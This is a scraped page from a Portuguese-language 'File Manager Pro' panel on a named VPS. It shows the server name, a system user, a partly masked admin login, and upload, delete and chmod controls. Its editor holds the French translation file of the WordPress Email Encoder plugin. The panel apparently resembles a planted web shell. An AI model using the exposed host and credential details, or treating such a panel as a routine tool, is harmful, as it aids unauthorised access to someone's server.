đïž File Manager Pro
đ„ïž Tipo de Hospedagem:
Vps
đ DiretĂłrio Raiz:
/home
đ Servidor:
www.apm-abl.com
đ€ UsuĂĄrio:
apmablcosr
đ SessĂŁo:
đ Credenciais:
adm_f199cf03 / 9fdc****
đ Localização Atual:
home
Caminho completo: /home
đ€ Enviar Arquivo
đ Nova Pasta
âŹïž Voltar
đ Raiz
đïž DELETAR
đŠ ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
PermissÔes
AçÔes
đ a
-
03/02/2026 22:15
0755
âïž
đ apmablcosr
-
26/01/2026 16:35
0705
âïž
đïž
Editando: email-encoder-bundle-fr_FR.po
# Translation of Plugins - Email Encoder – Protect Email Addresses and Phone Numbers - Stable (latest release) in French (France) # This file is distributed under the same license as the Plugins - Email Encoder – Protect Email Addresses and Phone Numbers - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2024-02-14 08:33:06+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n > 1;\n" "X-Generator: GlotPress/4.0.0-beta.2\n" "Language: fr\n" "Project-Id-Version: Plugins - Email Encoder – Protect Email Addresses and Phone Numbers - Stable (latest release)\n" #: core/includes/classes/class-email-encoder-bundle-run.php:637 msgid "GD Library Not Enabled. Please enable it first." msgstr "La bibliothĂšque GD nâest pas activĂ©e. Veuillez dâabord lâactiver." #: core/includes/classes/class-email-encoder-bundle-settings.php:537 msgid "Only visible for admin users. If your emails look broken, simply deactivate this feature. This also loads the dashicons style." msgstr "Cette fonction nâest visible que pour les admins. Si vos e-mails ont lâair cassĂ©s, dĂ©sactivez simplement cette fonctionnalitĂ©. Cela charge Ă©galement le style des dashicons." #: core/includes/classes/class-email-encoder-bundle-settings.php:479 msgid "By comma separating URL (Query) parameters ( e.g. param1,param2), you are able to exclude URLs with these parameters from the protection. URL or Query parameters are found at the end of your URL (e.g. domain.com?param1=test)" msgstr "En sĂ©parant par une virgule les paramĂštres de lâURL (requĂȘte) (par exemple param1,param2), vous pouvez exclure de la protection les URL contenant ces paramĂštres. Les paramĂštres dgURL ou de requĂȘte se trouvent Ă la fin de votre URL (par exemple, domain.com?param1=test)." #: core/includes/classes/class-email-encoder-bundle-settings.php:476 msgid "Exclude URL parameters from protection" msgstr "Exclure les paramĂštres URL de la protection" #: core/includes/partials/help-tabs/shortcodes.php:15 msgid "Allowed HTML attributes + arguments" msgstr "Attributs HTML autorisĂ©s + arguments" #: core/includes/partials/help-tabs/shortcodes.php:10 msgid "For security reasons, we only allow specific HTML tags within the display arguments. You will find a full list below." msgstr "Pour des raisons de sĂ©curitĂ©, nous nâautorisons que certaines balises HTML dans les arguments dâaffichage. Vous en trouverez la liste complĂšte ci-dessous." #: core/includes/classes/class-email-encoder-bundle-settings.php:562 msgid "Activate this to use the [eeb_form] shortcode or the PHP template function eeb_form() within the frontend." msgstr "Activez ceci pour utiliser le code court [eeb_form] ou le modĂšle de fonction PHP eeb_form() sur lâinterface publique." #: core/includes/classes/class-email-encoder-bundle-settings.php:561 msgid "Encoder form frontend" msgstr "Interface publique du formulaire de chiffrement" #: core/includes/classes/class-email-encoder-bundle-settings.php:366 msgid "By default, we only protect frontend requests (Everything people see on your website). Activating this setting will also protect the backend of your website (The admin area)." msgstr "Par dĂ©faut, nous ne protĂ©geons que les requĂȘtes de lâinterface publique (ce que voient les visiteurs). Lâactivation de ce rĂ©glage protĂ©gera Ă©galement lâadministration." #: core/includes/classes/class-email-encoder-bundle-settings.php:365 msgid "Admin requests" msgstr "RequĂȘtes admin" #: core/includes/classes/class-email-encoder-bundle-settings.php:361 msgid "By default, ajax requests can send clear emails in some situations. Activating this settings will apply encoding to ajax-relate requests." msgstr "Par dĂ©faut, les requĂȘtes ajax peuvent envoyer des e-mails en clair dans certaines situations. Lâactivation de ce rĂ©glage les chiffrera." #: core/includes/classes/class-email-encoder-bundle-settings.php:360 msgid "Ajax requests" msgstr "RequĂȘtes Ajax" #: core/includes/classes/class-email-encoder-bundle-run-admin.php:267 msgid "In case you want to display the Email Encoder form within the frontend, you can activate it inside of the Advanced settings." msgstr "Dans le cas oĂč vous voulez afficher le formulaire Email Encoder sur lâinterface publique, vous pouvez lâactiver dans les rĂ©glages avancĂ©s." #. Author of the plugin msgid "Jannis Thuemmig" msgstr "Jannis Thuemmig" #. Author URI of the plugin msgid "https://wpemailencoder.com/" msgstr "https://wpemailencoder.com/" #: core/includes/classes/class-email-encoder-bundle-settings.php:514 msgid "Add the href attributes you want to protect as a comme-separated list. E.g. tel,file,ftp" msgstr "Ajoutez les attributs href que vous souhaitez protĂ©ger avec une liste sĂ©parĂ©e par des virgules. Par ex. : tel, file, ftp" #: core/includes/classes/class-email-encoder-bundle-settings.php:511 msgid "Protect href atrributes such as tel:, ftp:, file:, etc." msgstr "ProtĂ©gez les attributs href personnalisĂ©s tels que tel:, ftp:, file:, etc.." #: core/includes/classes/class-email-encoder-bundle-settings.php:510 msgid "Protect custom href attributes" msgstr "ProtĂ©ger les attributs href personnalisĂ©s" #: core/includes/classes/class-email-encoder-bundle-settings.php:454 msgid "Adds a line beneath the text to highlight it as a link. empty or 0 deactivates the border. 1 = 1px" msgstr "Ajoute une ligne sous le texte pour quâil ressemble Ă un lien. Laissez vide ou Ă 0 pour dĂ©sactiver la bordure. 1 = 1px" #: core/includes/classes/class-email-encoder-bundle-settings.php:453 msgid "Text Underline" msgstr "Soulignage du texte" #: core/includes/integrations/classes/foggy_email.php:285 msgid "Create anonymous emails using <a title=\"Visit Foggy Email\" target=\"_blank\" href=\"https://foggy.email\">https://foggy.email</a> - This will turn every of your emails into a disguised email. For example: <strong>you@example.com</strong> turns into <strong>luhhsd@neat.email</strong>, which will forward every email to <strong>you@example.com</strong>" msgstr "CrĂ©ez des e-mails anonymes en utilisant <a title=\"Visitez Foggy Email\" target=\"_blank\" href=\"https://foggy.email\">https://foggy.email</a> - Cela transformera chacun de vos e-mails en un e-mail dĂ©guisĂ©. Par exemple : <strong>you@example.com</strong> se transforme en <strong>luhhsd@neat.email</strong>, qui transmettra chaque e-mail Ă <strong>you@example.com</strong>" #: core/includes/integrations/classes/foggy_email.php:282 msgid "Foggy Email API Key" msgstr "ClĂ© API e-mail de Foggy" #: core/includes/classes/class-email-encoder-bundle-settings.php:411 msgid "Do not soft-filter all html attributes. This might optimizes the performance, but can break the site if other plugins use your email in attribute tags." msgstr "Nâutilisez pas de « soft-filter » sur tous les attributs HTML. Cela pourrait optimiser les performances mais casser le site si dâautres extensions utilisent votre adresse e-mail en balises dâattribut." #: core/includes/classes/class-email-encoder-bundle-settings.php:410 msgid "html attributes without soft encoding." msgstr "attributs HTML sans « soft encoding »." #: core/includes/classes/class-email-encoder-bundle-settings.php:406 msgid "Check this option if you face issues with encoded script tags. This will deactivate protection for script tags." msgstr "Activez cette option si vous rencontrez des problĂšmes avec des balises de script encodĂ©es. Cela retirera leur protection." #: core/includes/classes/class-email-encoder-bundle-settings.php:405 msgid "no script tags" msgstr "pas de balises de script" #: core/includes/classes/class-email-encoder-bundle-run-admin.php:173 #: core/includes/classes/class-email-encoder-bundle-run-admin.php:177 msgid "You don't have permission to update these settings." msgstr "Vous nâavez pas les autorisations nĂ©cessaires pour mettre Ă jour ces rĂ©glages." #: core/includes/classes/class-email-encoder-bundle-run-admin.php:96 msgid "Visit us" msgstr "Voir notre site" #: core/includes/classes/class-email-encoder-bundle-validate.php:1038 msgid "Encode (HTML)" msgstr "Encode (HTML)" #: core/includes/classes/class-email-encoder-bundle-validate.php:1037 msgid "Escape (Javascript)" msgstr "Escape (Javascript)" #: core/includes/classes/class-email-encoder-bundle-validate.php:1036 msgid "Rot13 (Javascript)" msgstr "Rot13 (Javascript)" #: core/includes/classes/class-email-encoder-bundle-settings.php:579 msgid "Activate the advanced settings in case you want to customize the default logic or you want to troubleshoot the plugin." msgstr "Activez les rĂ©glages avancĂ©s si vous souhaitez personnaliser la logique par dĂ©faut ou faire des diagnostics sur lâextension." #: core/includes/classes/class-email-encoder-bundle-settings.php:576 msgid "Show advanced settings for more configuration possibilities." msgstr "Afficher les rĂ©glages avancĂ©s pour plus de possibilitĂ©s de configuration." #: core/includes/classes/class-email-encoder-bundle-settings.php:575 msgid "Advanced Settings" msgstr "RĂ©glages avancĂ©s" #: core/includes/classes/class-email-encoder-bundle-settings.php:558 msgid "Encoder form settings" msgstr "RĂ©glages du formulaire dâencodage" #: core/includes/classes/class-email-encoder-bundle-settings.php:549 msgid "Otherwise it will be shown in \"Settings\"-menu." msgstr "Dans le cas contraire, il sera dans le menu des « RĂ©glages »." #: core/includes/classes/class-email-encoder-bundle-settings.php:546 msgid "Show this page in the main menu item" msgstr "Afficher cette page en tant quâĂ©lĂ©ment de menu principal" #: core/includes/classes/class-email-encoder-bundle-settings.php:545 msgid "Admin Menu" msgstr "Menu dâadministration" #: core/includes/classes/class-email-encoder-bundle-settings.php:534 msgid "Mark emails on the site as successfully encoded" msgstr "Marquer les e-mails sur le site comme correctement encodĂ©s" #: core/includes/classes/class-email-encoder-bundle-settings.php:533 msgid "Security Check" msgstr "VĂ©rification de sĂ©curitĂ©" #: core/includes/classes/class-email-encoder-bundle-settings.php:526 msgid "This forces every script to be enqueued within the footer." msgstr "Cela force tous les scripts Ă passer en file dâattente dans le pied de page." #: core/includes/classes/class-email-encoder-bundle-settings.php:523 msgid "Check this button if you want to load all frontend scripts within the footer." msgstr "Cochez cette case si vous souhaitez charger les scripts dâinterface publique dans le pied de page." #: core/includes/classes/class-email-encoder-bundle-settings.php:522 msgid "Load scripts in footer" msgstr "Charger les scripts en pied de page" #: core/includes/classes/class-email-encoder-bundle-settings.php:502 msgid "Leave blank for none" msgstr "Laissez vide pour nâen dĂ©finir aucune" #: core/includes/classes/class-email-encoder-bundle-settings.php:499 msgid "Add extra classes to mailto links." msgstr "Ajoutez des classes supp. aux liens « mailto »." #: core/includes/classes/class-email-encoder-bundle-settings.php:498 msgid "Additional classes" msgstr "Classes additionnelles" #: core/includes/classes/class-email-encoder-bundle-settings.php:490 msgid "This text will be shown for protected email addresses and within noscript tags." msgstr "Ce texte sera affichĂ© pour les adresses e-mail protĂ©gĂ©es dans des balises « noscript »." #: core/includes/classes/class-email-encoder-bundle-settings.php:487 msgid "Set protection text *" msgstr "DĂ©finir le texte de protection *" #: core/includes/classes/class-email-encoder-bundle-settings.php:468 msgid "By comma separating post id's ( e.g. 123,4535,643), you are able to exclude these posts from the logic protection." msgstr "En sĂ©parant les ID de publication par des virgules (par ex : 124, 4535, 643), vous pouvez les exclure de la logique de protection." #: core/includes/classes/class-email-encoder-bundle-settings.php:465 msgid "Exclude post id's from protection" msgstr "Exclure les publications de la protection par leur ID" #: core/includes/classes/class-email-encoder-bundle-settings.php:449 msgid "Change the font size of the image text. Default: 4 - You can choose from 1 - 5" msgstr "Changez la taille de police du texte de lâimage. Par dĂ©faut : 4 - Vous pouvez choisir entre 1 et 5" #: core/includes/classes/class-email-encoder-bundle-settings.php:448 msgid "Font Size" msgstr "Taille de police" #: core/includes/classes/class-email-encoder-bundle-settings.php:444 msgid "Change the background opacity for the created images. 0 = not transparent - 127 = completely transprent" msgstr "Changez lâopacitĂ© de lâarriĂšre-plan des images. 0 = non transparent - 127 = totalement transparent" #: core/includes/classes/class-email-encoder-bundle-settings.php:443 msgid "Background Opacity" msgstr "OpacitĂ© de lâarriĂšre-plan" #: core/includes/classes/class-email-encoder-bundle-settings.php:439 msgid "Change the text opacity for the created images. 0 = not transparent - 127 = completely transprent" msgstr "Changez lâopacitĂ© du texte pour les images créées. 0 = non transparent - 127 = totalement transparent" #: core/includes/classes/class-email-encoder-bundle-settings.php:438 msgid "Text Opacity" msgstr "OpacitĂ© du texte" #: core/includes/classes/class-email-encoder-bundle-settings.php:433 msgid "Image Background Colors" msgstr "Couleurs dâarriĂšre-plan dâimage" #: core/includes/classes/class-email-encoder-bundle-settings.php:429 #: core/includes/classes/class-email-encoder-bundle-settings.php:434 msgid "Please include RGB colors, comme saparated. E.g.: 0,0,255" msgstr "Veuillez inclure des couleurs RVB sĂ©parĂ©es par des virgules. Par ex : 0,0,255" #: core/includes/classes/class-email-encoder-bundle-settings.php:428 msgid "Image Colors" msgstr "Couleurs dâimage" #: core/includes/classes/class-email-encoder-bundle-settings.php:424 msgid "Customize the settings for dynamically created images." msgstr "Personnalisez les rĂ©glages pour les images créés dynamiquement." #: core/includes/classes/class-email-encoder-bundle-settings.php:423 msgid "Image settings" msgstr "RĂ©glages dâimage" #: core/includes/classes/class-email-encoder-bundle-settings.php:401 msgid "Check this option if your site does not support CSS directions." msgstr "Cochez cette option si votre site nâest pas compatible avec les directions CSS." #: core/includes/classes/class-email-encoder-bundle-settings.php:400 msgid "mailto links without CSS direction" msgstr "Liens « mailto » sans direction CSS" #: core/includes/classes/class-email-encoder-bundle-settings.php:396 msgid "Check this option if you want to register the email filters on the \"init\" hook instead of the \"wp\" hook." msgstr "Cochez cette option si vous souhaitez enregistrer les filtres e-mails sur le crochet « init » au lieu du crochet « wp »." #: core/includes/classes/class-email-encoder-bundle-settings.php:395 msgid "emails from \"init\" hook" msgstr "E-mails du crochet « init »" #: core/includes/classes/class-email-encoder-bundle-settings.php:391 msgid "Protect every shortcode content separately. (This may slows down your site)" msgstr "ProtĂšge chaque contenu de code court sĂ©parĂ©ment. (Cela peut ralentir votre site)" #: core/includes/classes/class-email-encoder-bundle-settings.php:390 msgid "shortcode content" msgstr "Contenu de codes courts" #: core/includes/classes/class-email-encoder-bundle-settings.php:386 msgid "Plain emails will be automatically converted to png images where possible." msgstr "Les e-mails bruts seront automatiquement convertis en images PNG lorsque câest possible." #: core/includes/classes/class-email-encoder-bundle-settings.php:385 msgid "plain emails by converting them to png images" msgstr "E-mails bruts en les convertissant en images PNG" #: core/includes/classes/class-email-encoder-bundle-settings.php:381 msgid "Plain emails will be automatically converted to mailto links where possible." msgstr "Les e-mails bruts seront automatiquement convertis en liens lorsque câest possible." #: core/includes/classes/class-email-encoder-bundle-settings.php:380 msgid "plain emails by converting them to mailto links" msgstr "E-mails bruts en les convertissant en liens « mailto »" #: core/includes/classes/class-email-encoder-bundle-settings.php:376 msgid "Warning: this option could conflict with certain form plugins. Test it first. (Requires javascript)" msgstr "Avertissement : cette option pourrait provoquer des conflits avec certaines extensions de formulaires, faites un test. (javascript nĂ©cessaire)" #: core/includes/classes/class-email-encoder-bundle-settings.php:375 msgid "input form email fields using strong protection." msgstr "Champs dâe-mails dans les formulaires en protection forte." #: core/includes/classes/class-email-encoder-bundle-settings.php:356 #: core/includes/classes/class-email-encoder-bundle-settings.php:371 msgid "Activating this option results in protecting the rss feed based on the given protection method." msgstr "Activer cette option vous permettra de protĂ©ger les flux RSS en fonction de la mĂ©thode de protection choisie." #: core/includes/classes/class-email-encoder-bundle-settings.php:355 msgid "RSS feed" msgstr "Flux RSS" #: core/includes/classes/class-email-encoder-bundle-settings.php:351 msgid "Customize what this plugin protects." msgstr "Personnalisez les contenus protĂ©gĂ©s." #: core/includes/classes/class-email-encoder-bundle-settings.php:350 msgid "Protect..." msgstr "ProtĂ©gerâŠ" #: core/includes/classes/class-email-encoder-bundle-settings.php:338 msgid "Offers good (but not the best) protection, which saves you in most scenarios." msgstr "Offres une bonne protection (pas la meilleure), qui suffit dans la plupart des cas." #: core/includes/classes/class-email-encoder-bundle-settings.php:337 msgid "simple HTML character encoding." msgstr "Un encodage de caractĂšres HTML basique." #: core/includes/classes/class-email-encoder-bundle-settings.php:334 msgid "You can configure the protection text within the advanced settings." msgstr "Vous pouvez configurer le texte de protection dans les rĂ©glages avancĂ©s." #: core/includes/classes/class-email-encoder-bundle-settings.php:333 msgid "a strong method that replaces all emails with a \"*protection text*\"." msgstr "Une mĂ©thode forte qui remplace tous les e-mails avec un « *texte de protection* »." #: core/includes/classes/class-email-encoder-bundle-settings.php:330 msgid "automatically the best method (excluding javascript)" msgstr "Automatiquement la meilleure mĂ©thode (javascript exclu)" #: core/includes/classes/class-email-encoder-bundle-settings.php:327 msgid "automatically the best method (including javascript)" msgstr "Automatiquement la meilleure mĂ©thode (javascript inclus)" #: core/includes/classes/class-email-encoder-bundle-settings.php:324 msgid "Protect emails using" msgstr "ProtĂ©ger les e-mails avec" #: core/includes/classes/class-email-encoder-bundle-settings.php:313 msgid "This turns off the protection for emails. (Not recommended)" msgstr "Cela dĂ©sactive la protection automatique des e-mails. (non recommandĂ©)" #: core/includes/classes/class-email-encoder-bundle-settings.php:312 msgid "Don't do anything." msgstr "Ne rien faire." #: core/includes/classes/class-email-encoder-bundle-settings.php:308 msgid "Secure only mails that occur within WordPress filters. (Not recommended)" msgstr "Ne sĂ©curiser que les e-mails qui sont contenus dans des filtres WordPress. (non recommandĂ©)" #: core/includes/classes/class-email-encoder-bundle-settings.php:307 msgid "Wordpress filters" msgstr "Filtres WordPress" #: core/includes/classes/class-email-encoder-bundle-settings.php:304 msgid "This will check the whole page against any mails and secures them." msgstr "Cela vĂ©rifiera toute la page Ă la recherche dâe-mails afin de les sĂ©curiser." #: core/includes/classes/class-email-encoder-bundle-settings.php:303 msgid "Full-page scan" msgstr "Scan de tout le contenu" #: core/includes/classes/class-email-encoder-bundle-settings.php:300 msgid "Protect emails" msgstr "ProtĂ©ger les e-mails" #: core/includes/classes/class-email-encoder-bundle-run.php:647 msgid "Your email could not be converted." msgstr "Votre e-mail nâa pas pu ĂȘtre converti." #: core/includes/classes/class-email-encoder-bundle-run.php:641 msgid "Your signture is invalid." msgstr "Votre signature nâest pas valide." #: core/includes/partials/widgets/main.php:106 msgid "Save all" msgstr "Tout enregistrer" #: core/includes/partials/help-tabs/general.php:10 msgid "You can now also check your website protection using our email checker tool: <a href=\"https://wpemailencoder.com/email-checker/\" target=\"_blank\">https://wpemailencoder.com/email-checker/</a>." msgstr "Vous pouvez aussi vĂ©rifier la protection de votre site avec notre outil en ligne : <a href=\"https://wpemailencoder.com/email-checker/\" target=\"_blank\">https://wpemailencoder.com/email-checker/</a>." #: core/includes/partials/help-tabs/general.php:7 msgid "To report problems or bugs or for support, please use <a href=\"https://wordpress.org/support/plugin/email-encoder-bundle#postform\" target=\"_new\">the official forum</a>." msgstr "Pour nous faire part de problĂšmes, de bogues ou demander lâaide, veuillez utiliser <a href=\"https://wordpress.org/support/plugin/email-encoder-bundle#postform\" target=\"_new\">le forum officiel</a>." #: core/includes/partials/help-tabs/general.php:4 msgid "The plugin works out-of-the-box to protect your email addresses. All settings are default set to protect your email addresses automatically." msgstr "Lâextension fonctionne dĂšs son installation et protĂšge vos adresses e-mails grĂące aux rĂ©glages par dĂ©faut." #: core/includes/partials/help-tabs/template-tags.php:22 #: core/includes/partials/help-tabs/template-tags.php:30 msgid "Protects the given content against spambots." msgstr "ProtĂšge le contenu indiquĂ© des robots de spam." #: core/includes/partials/help-tabs/template-tags.php:19 msgid "This will output the email encoder form on your website." msgstr "Cela gĂ©nĂ©rera le formulaire dâencodage dâe-mail sur votre site." #: core/includes/partials/help-tabs/template-tags.php:13 msgid "Get Email Encoder Form" msgstr "Obtenir le formulaire dâencodage dâe-mail" #: core/includes/partials/help-tabs/template-tags.php:10 msgid "You can pass 3 optional arguments: <code>$display</code>, <code>$attrs</code> and <code>$method</code>" msgstr "Vous pouvez transmettre 3 arguments optionnels : <code>$display</code>, <code>$attrs</code> and <code>$method</code>" #: core/includes/partials/help-tabs/shortcodes.php:13 msgid "Display the encoder form" msgstr "Afficher le formulaire dâencodage" #: core/includes/partials/help-tabs/shortcodes.php:11 msgid "You can also protect phone numbers and any kind of text by using the following shortcode:" msgstr "Vous pouvez aussi protĂ©ger des numĂ©ros de tĂ©lĂ©phones ou tout type de texte avec le code court suivant :" #: core/includes/partials/help-tabs/shortcodes.php:8 #: core/includes/partials/help-tabs/template-tags.php:4 msgid "Create a protected mailto link:" msgstr "CrĂ©er un lien protĂ©gĂ© dâe-mail :" #: core/includes/partials/help-tabs/shortcodes.php:5 msgid "You can protect those addresses using the following shortcode. Everything you add within these both tags, will be checked for emails automatically." msgstr "Vous pouvez protĂ©ger ces adresses en utilisant le code court suivant. Tout ce que vous ajouterez entre ces balises permettra dâencoder les adresses e-mail automatiquement." #: core/includes/partials/help-tabs/shortcodes.php:4 msgid "Shortcodes" msgstr "Codes courts" #: core/includes/classes/class-email-encoder-bundle-run-admin.php:250 msgid "If you like you can also create you own secured emails manually with this form. Just copy/paste the generated code and put it in your post, page or template. We choose automatically the best method for you, based on your settings." msgstr "Si vous le souhaitez, vous pouvez aussi crĂ©er vos propres adresse e-mail sĂ©curisĂ©es avec ce formulaire. Copiez-collez simplement le code gĂ©nĂ©rĂ© et mettez-le dans votre article, page ou modĂšle. Nous choisissons automatiquement la meilleure mĂ©thode de protection en fonction de vos rĂ©glages." #: core/includes/classes/class-email-encoder-bundle-run-admin.php:223 msgid "Template Tags" msgstr "Marqueurs de modĂšle" #: core/includes/classes/class-email-encoder-bundle-run-admin.php:213 msgid "General" msgstr "GĂ©nĂ©ral" #: core/class-email-encoder-bundle.php:54 #: core/class-email-encoder-bundle.php:64 msgid "Cheatin’ huh?" msgstr "Une fausse manipulation ?" #: core/includes/classes/class-email-encoder-bundle-validate.php:1032 msgid "Powered by free" msgstr "PropulsĂ© par free" #. Plugin URI of the plugin msgid "https://wordpress.org/plugins/email-encoder-bundle/" msgstr "https://wordpress.org/plugins/email-encoder-bundle/" #. Description of the plugin msgid "Protect email addresses on your site and hide them from spambots. Easy to use & flexible." msgstr "ProtĂ©gez les adresses e-mail sur votre site et cachez-les des robots en les encodant. Simple et pratique Ă utiliser." #. Plugin Name of the plugin msgid "Email Encoder - Protect Email Addresses" msgstr "Email Encoder - ProtĂ©gez vos adresses e-mail" #: core/includes/classes/class-email-encoder-bundle-validate.php:1053 msgid "Protected Mail Link (code):" msgstr "Lien e-mail protĂ©gĂ© (code) :" #: core/includes/classes/class-email-encoder-bundle-validate.php:1052 msgid "Create Protected Mail Link >>" msgstr "CrĂ©er un lien protĂ©gĂ© pour lâe-mail >>" #: core/includes/classes/class-email-encoder-bundle-validate.php:1051 msgid "Encoding Method:" msgstr "MĂ©thode dâencodage :" #: core/includes/classes/class-email-encoder-bundle-validate.php:1050 msgid "Mailto Link:" msgstr "Lien mailto :" #: core/includes/classes/class-email-encoder-bundle-validate.php:1049 msgid "Display Text:" msgstr "Texte affiché :" #: core/includes/classes/class-email-encoder-bundle-validate.php:1048 msgid "Email Address:" msgstr "Adresse e-mail :" #: core/includes/partials/help-tabs/template-tags.php:1 msgid "Template functions" msgstr "Fonctions PHP" #: core/includes/classes/class-email-encoder-bundle-run-admin.php:218 msgid "Shortcode" msgstr "Code court" #: core/includes/classes/class-email-encoder-bundle-settings.php:565 msgid "Show a \"powered by\" link on bottom of the encoder form" msgstr "Afficher le lien « propulsĂ© par » en bas du formulaire dâencodage" #: core/includes/classes/class-email-encoder-bundle-run-admin.php:263 msgid "You can also put the encoder form on your site by using the shortcode <code>[eeb_form]</code> or the template function <code>eeb_form()</code>." msgstr "Vous pouvez aussi afficher le formulaire dâencodage sur votre site en utilisant le code court <code>[eeb_form]</code> ou la fonction de modĂšle <code>eeb_form()</code>." #: core/includes/classes/class-email-encoder-bundle-settings.php:370 msgid "Remove all shortcodes from the RSS feeds" msgstr "Supprimer tous les codes courts des flux RSS." #: core/includes/classes/class-email-encoder-bundle-run-admin.php:92 msgid "Settings" msgstr "RĂ©glages"
đŸ Salvar
â Cancelar
Enviar Arquivo
Selecionar arquivo:
Enviar
Cancelar
Criar Nova Pasta
Nome da pasta:
Criar
Cancelar
Alterar PermissÔes
Nova permissĂŁo:
0644 (rw-r--r--)
0755 (rwxr-xr-x)
0777 (rwxrwxrwx)
0600 (rw-------)
0700 (rwx------)
0444 (r--r--r--)
đŸ Salvar
Cancelar